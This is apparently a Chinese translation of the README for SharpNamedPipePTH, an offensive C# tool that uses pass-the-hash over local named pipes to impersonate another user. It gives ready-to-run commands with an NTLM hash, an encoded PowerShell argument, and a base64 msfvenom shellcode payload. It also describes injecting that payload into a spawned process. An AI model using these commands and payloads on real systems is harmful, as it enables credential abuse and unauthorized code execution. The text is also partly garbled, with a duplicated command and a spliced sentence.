该项目是一个 C# 工具,用于在本地命名管道上使用哈希传递(Pass-the-Hash)进行身份验证,以实现用户模拟。你需要本地管理员权限或 SEImpersonate 权限才能使用。有一篇博客文章进行了解释:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
它主要基于项目 Sharp-SMBExec 的代码。
过去,我在某些攻防安全项目中遇到了一些情况:我已经拥有了一个 低权限 用户账户的 NTLM 哈希,并且需要在当前已攻陷的系统上以该用户身份获取一个 Shell——但现有的公共工具无法实现。想象一下这种情况下的另外两个事实:该 NTLM 哈希无法破解,而且没有目标用户的进程可以注入 Shellcode 或迁移到其中。对某些人来说,这听起来可能像是一个荒谬的边缘情况。但我确实多次经历过。不止一次,在特定情况下,我花了大量时间寻找合适的工具/技术。
我个人对工具/技术的要求是:
低权限 账户——根据项目目标,可能需要使用特定用户访问系统,例如 CEO、HR 账户、SAP 管理员或其他不幸的是,被模拟的用户无法进行网络身份验证,因为新进程使用的是受限的模拟令牌。因此,你只能将此技术用于与其他用户进行本地操作。
使用 SharpNamedPipePTH 有两种方式。你可以执行一个二进制文件(带或不带参数):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
或者,你可以以另一个用户的身份执行 Shellcode:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
这是 msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0。
我对目前的 Shellcode 执行方式还不满意,因为它当前会以被模拟用户的身份生成 notepad 进程,并通过 D/Invoke CreateRemoteThread Syscall 将 Shellcode 注入到该新进程中。我仍在寻找在后台生成进程或执行 Shellcode 而无需目标用户进程进行内存分配的可能性。